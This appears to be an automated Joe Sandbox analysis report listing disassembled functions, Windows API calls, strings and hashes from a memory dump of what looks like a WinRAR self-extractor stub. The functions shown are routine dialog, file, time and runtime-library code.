API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID: 6P+
API String ID: 1324828854-3080146196
Opcode ID: ba306718d7bf4527a8d017128203b5a5df9dc914a2dfd76aff2c43151d2874d6
Instruction ID: d6b5d5a1b47ba41ffbb258002c174b056bececc00bf3a347fac331b8fed2a3d3
Opcode Fuzzy Hash: ba306718d7bf4527a8d017128203b5a5df9dc914a2dfd76aff2c43151d2874d6
Instruction Fuzzy Hash: 6151B3B5E002499FCB10CFA8D885BFEBBF9EF08310F14411AE655E72A1D7349A45CB64

Function 00FEA3E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

EndDialog.USER32(?,00000001), ref: 00FEA431
SendMessageW.USER32(?,00000080,00000001,?), ref: 00FEA45E
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00FEA473
SetWindowTextW.USER32(?,?), ref: 00FEA484
GetDlgItem.USER32(?,00000065), ref: 00FEA48D
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00FEA4A1
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00FEA4B3

Strings

LICENSEDLG, xrefs: 00FEA3F5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 4b249684ec9106cec0f7d1a5830ba024dbb5e74d8903b3379332f72af2cfab73
Instruction ID: 191395e30de718fc3453056dd2910a223468ba784b375dc163a33aaca0550236
Opcode Fuzzy Hash: 4b249684ec9106cec0f7d1a5830ba024dbb5e74d8903b3379332f72af2cfab73
Instruction Fuzzy Hash: 5921BA326441447BD632AFB6DC89F7B7B6DEB46754F018018F680E51D4CBABAC01A772

Function 00FD9268 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD926D
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00FD9290
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00FD92AF

Part of subcall function 00FE1410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00FDACFE,?,?,?,00FDACAD,?,-00000002,?,00000000,?), ref: 00FE1426

_swprintf.LIBCMT ref: 00FD934B

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

MoveFileW.KERNEL32(?,?), ref: 00FD93C0
MoveFileW.KERNEL32(?,?), ref: 00FD93FC

Strings

rtmp%d, xrefs: 00FD9334

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: c5ef9155c036d88e637bd629a37a3dc3beb67e62951e522eb8686db46166aa43
Instruction ID: 4e62277e9e108553ac7f34a5f061236a2735ac6974ccfb2c0f84fc1d24a076d4
Opcode Fuzzy Hash: c5ef9155c036d88e637bd629a37a3dc3beb67e62951e522eb8686db46166aa43
Instruction Fuzzy Hash: A741D472905258A6DF20EBE0CC44FEE737EAF05380F0884A7B504E3242DA789B45EB60

Function 00FE06E0 Relevance: 12.1, APIs: 8, Instructions: 117timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00FE06F3

Part of subcall function 00FDA995: GetVersionExW.KERNEL32(?), ref: 00FDA9BA

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00FE071C
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00FE072E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00FE073B
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FE0751
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FE075D
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FE0793
__aullrem.LIBCMT ref: 00FE081D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 07d7abd5a8326a803048a79045150d63eafecee7cd5e8ece6a58b38c3594dc66
Instruction ID: 6ae18e9de8bea2404f3f88ad71338f38cd0ce156e52df886439154a29b6a0829
Opcode Fuzzy Hash: 07d7abd5a8326a803048a79045150d63eafecee7cd5e8ece6a58b38c3594dc66
Instruction Fuzzy Hash: 2E4139B64083459FC310DF65C8809ABF7E9FF88714F004A2EF5D692640EB79E588DB52

Function 00FF7389 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FF73FB
_free.LIBCMT ref: 00FF741B

Strings

6P+, xrefs: 00FF73A7, 00FF743D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free
String ID: 6P+
API String ID: 269201875-3080146196
Opcode ID: 4ff50e685948fdcc9b633c78aaa7b11763e2fc576b9d327b08e2bd741e0af31a
Instruction ID: 1c6868904fa848179840f28c08b53866af782bec6f3daa904e6d4c3e71c939fb
Opcode Fuzzy Hash: 4ff50e685948fdcc9b633c78aaa7b11763e2fc576b9d327b08e2bd741e0af31a
Instruction Fuzzy Hash: 60419336E00308DFCB14EF78C881A6EB7A5EF89724B154569E615EB351D735ED01EB80

Function 00FE88BF Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE87A0), ref: 00FE8994
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00FE89B5

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00FE890E
utf-8"></head>, xrefs: 00FE8919
<html>, xrefs: 00FE8903, 00FE893C
</html>, xrefs: 00FE8966

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: b3eb9ad59160a987cddfaba8ace57c00f5a668fd1e4496aae2acae072b2b8127
Instruction ID: 6babd940932d2d90d476b3b7120d02862f846373d326ead05ae4d09e61c0ecba
Opcode Fuzzy Hash: b3eb9ad59160a987cddfaba8ace57c00f5a668fd1e4496aae2acae072b2b8127
Instruction Fuzzy Hash: DD3168328043457EE316BB62DC06FBF7798DF51B60F10451EF6189A0D2EF79980693A6

Function 00FE8FE6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00FE8FFF
GetWindowRect.USER32(?,00000000), ref: 00FE9044
ShowWindow.USER32(?,00000005,00000000), ref: 00FE90DB
SetWindowTextW.USER32(?,00000000), ref: 00FE90E3
ShowWindow.USER32(00000000,00000005), ref: 00FE90F9

Strings

RarHtmlClassName, xrefs: 00FE90A5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 464a7ff4d74b84aa72de1030b58081d819b87f157e04e01bf4b87cabb3afdbf8
Instruction ID: 13e0d42973400a7d4a7ffaa9aa3bd218dcc687679101cd02ef7f83de4561400f
Opcode Fuzzy Hash: 464a7ff4d74b84aa72de1030b58081d819b87f157e04e01bf4b87cabb3afdbf8
Instruction Fuzzy Hash: CB31A431408244AFC7229FA59C48BABBBA9EF48751F008559FD899A156CB7AD800DB71

Function 00FFB506 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FFB4CA: _free.LIBCMT ref: 00FFB4F3

_free.LIBCMT ref: 00FFB554

Part of subcall function 00FF7A50: RtlFreeHeap.NTDLL(00000000,00000000,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?), ref: 00FF7A66
Part of subcall function 00FF7A50: GetLastError.KERNEL32(?,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?,?), ref: 00FF7A78

_free.LIBCMT ref: 00FFB55F
_free.LIBCMT ref: 00FFB56A
_free.LIBCMT ref: 00FFB5BE
_free.LIBCMT ref: 00FFB5C9
_free.LIBCMT ref: 00FFB5D4
_free.LIBCMT ref: 00FFB5DF

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 47c67bb6ac6dc7fd170de8bd6b40a79d5f713bdac9f6b7190701213f35d3a31d
Instruction ID: 742fb68744ea9511d77757247338edf17962f81c3e940589785dc950f0a346a8
Opcode Fuzzy Hash: 47c67bb6ac6dc7fd170de8bd6b40a79d5f713bdac9f6b7190701213f35d3a31d
Instruction Fuzzy Hash: 3711FCB2544B08AAD620FBB0DD0AFEFB79C6F05B00F404816B79E66077DB6DB6146660

Function 00FF1694 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00FF168B,00FEF0E2), ref: 00FF16A2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00FF16B0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FF16C9
SetLastError.KERNEL32(00000000,?,00FF168B,00FEF0E2), ref: 00FF171B

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2d838901c673552e2155c06b3a204b1216e78f5ecf9afc2ecfcc6966c76d4b88
Instruction ID: 0aace30aae9fa596ee973db178b14432517d317fd1dff6995d7ebd960216ff41
Opcode Fuzzy Hash: 2d838901c673552e2155c06b3a204b1216e78f5ecf9afc2ecfcc6966c76d4b88
Instruction Fuzzy Hash: CB01DE3264831A9AA7262AB47C896363B48FF013B1B20032AF318910F6EF5A4800B364

Function 00FED27B Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

ReleaseSRWLockExclusive, xrefs: 00FED2BA
KERNEL32.DLL, xrefs: 00FED295
AcquireSRWLockExclusive, xrefs: 00FED2AA

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 2e87c2ac00e3ec3ac11691a9e8e30f811b53792a7b294c98e06cbd35f45f17c0
Instruction ID: 4421964a53bb3a07980bd8bb38fad0008c92c15d719448318e254b71f26801a8
Opcode Fuzzy Hash: 2e87c2ac00e3ec3ac11691a9e8e30f811b53792a7b294c98e06cbd35f45f17c0
Instruction Fuzzy Hash: 8001F472F413E35B5F335EB75C94A972398AA02B6A320113EEBC0D7A01E756C801F7A0

Function 00FF6B78 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00FF6B29,?,?,00FF6AC9,?,0100A800,0000000C,00FF6C20,?,00000002), ref: 00FF6B98
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FF6BAB
FreeLibrary.KERNEL32(00000000,?,?,?,00FF6B29,?,?,00FF6AC9,?,0100A800,0000000C,00FF6C20,?,00000002,00000000), ref: 00FF6BCE

Strings

CorExitProcess, xrefs: 00FF6BA3
mscoree.dll, xrefs: 00FF6B91
6P+, xrefs: 00FF6B7F

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 6P+$CorExitProcess$mscoree.dll
API String ID: 4061214504-2165518698
Opcode ID: 810ef91e4d7401351d31f96bd787310dd8989051246297717f1cce9a9c8d8914
Instruction ID: dda3fe58ae641768091db934cf5ddaaf29615c1977e16f21ec2c86ff649fd664
Opcode Fuzzy Hash: 810ef91e4d7401351d31f96bd787310dd8989051246297717f1cce9a9c8d8914
Instruction Fuzzy Hash: 4DF08131A0420CBBDB269B91DC0DFAEBBB9EF44715F000068FA45E6190DF354A44DB90

Function 00FE0910 Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00FE096E

Part of subcall function 00FDA995: GetVersionExW.KERNEL32(?), ref: 00FDA9BA

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00FE0990
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FE09AA
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00FE09BB
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FE09CB
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FE09D7

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 73d8d397ce02664b7d45a8133b531008860f7c35e5bb340bf98e2ccfc3065e69
Instruction ID: b93c6d8aca59f3324f118575d3f8397e9189f454de63ea84ce8f222f77a5fbfc
Opcode Fuzzy Hash: 73d8d397ce02664b7d45a8133b531008860f7c35e5bb340bf98e2ccfc3065e69
Instruction Fuzzy Hash: AF31D57A1083469AC710DFA5C8849ABB7F9FF98704F04492EF999C3211EB34D549CB6A

Function 00FE8BE2 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00FE8C06
_memcmp.LIBVCRUNTIME ref: 00FE8C1D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a61016e0a107088b53ec8811021b4805f3b6dcc0eac060a994a5086a043cd511
Instruction ID: d0de72d3cf7289e43012c39a97131cae48203f7194da8cff5842cc2b9a2e5995
Opcode Fuzzy Hash: a61016e0a107088b53ec8811021b4805f3b6dcc0eac060a994a5086a043cd511
Instruction Fuzzy Hash: F521FB7260024AAFEB14AA17CC81F3B73AC9B517D4F244539FC4CDA101E634ED46A2B5

Function 00FF8516 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,010100E0,00FF3394,010100E0,?,?,00FF2E0F,?,?,010100E0), ref: 00FF851A
_free.LIBCMT ref: 00FF854D
_free.LIBCMT ref: 00FF8575
SetLastError.KERNEL32(00000000,?,010100E0), ref: 00FF8582
SetLastError.KERNEL32(00000000,?,010100E0), ref: 00FF858E
_abort.LIBCMT ref: 00FF8594

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 56534b2858e2c0d8e4ea46dac964c31a80618e5afd5cc9441ece426a83a58cd8
Instruction ID: 066672b8ed645ac591628686234ae7b08a6267331207714c07243dca6f0470e4
Opcode Fuzzy Hash: 56534b2858e2c0d8e4ea46dac964c31a80618e5afd5cc9441ece426a83a58cd8
Instruction Fuzzy Hash: 78F0F93664870827C31273346C49F3A315A8FD1BB1F2D0114F754A7176EF6D8A03B224

Function 00FFB5EA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,31E85006,00FF34E6,00000000,00000000,00FF451B,?,00FF451B,?,00000001,00FF34E6,31E85006,00000001,00FF451B,00FF451B), ref: 00FFB637
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00FFB6C0
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00FFB6D2
__freea.LIBCMT ref: 00FFB6DB

Part of subcall function 00FF7A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00FF2FA6,?,0000015D,?,?,?,?,00FF4482,000000FF,00000000,?,?), ref: 00FF7ABC

Strings

6P+, xrefs: 00FFB5F2

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID: 6P+
API String ID: 2652629310-3080146196
Opcode ID: 255a7dbda072f3502fa68e683007deace3c4fbe55898fb0bdb01ab07f371ccf4
Instruction ID: f3193c47948fe40f861f01f3c1d221aca84a59820c09455947e10a9f3c950966
Opcode Fuzzy Hash: 255a7dbda072f3502fa68e683007deace3c4fbe55898fb0bdb01ab07f371ccf4
Instruction Fuzzy Hash: 88319F72A0020EABDF259F65DC45DBE7BA5EF44710F144168FE04D61A0E739DD50DBA0

Function 00FEC2A7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

EndDialog.USER32(?,00000001), ref: 00FEC2F2
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00FEC308
SetDlgItemTextW.USER32(?,00000066,?), ref: 00FEC322
SetDlgItemTextW.USER32(?,00000068), ref: 00FEC32D

Strings

RENAMEDLG, xrefs: 00FEC2BF

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: a11a03878e8738e8c7c6785c346df9d3647bcc6f7343e3f24f415e35578fce30
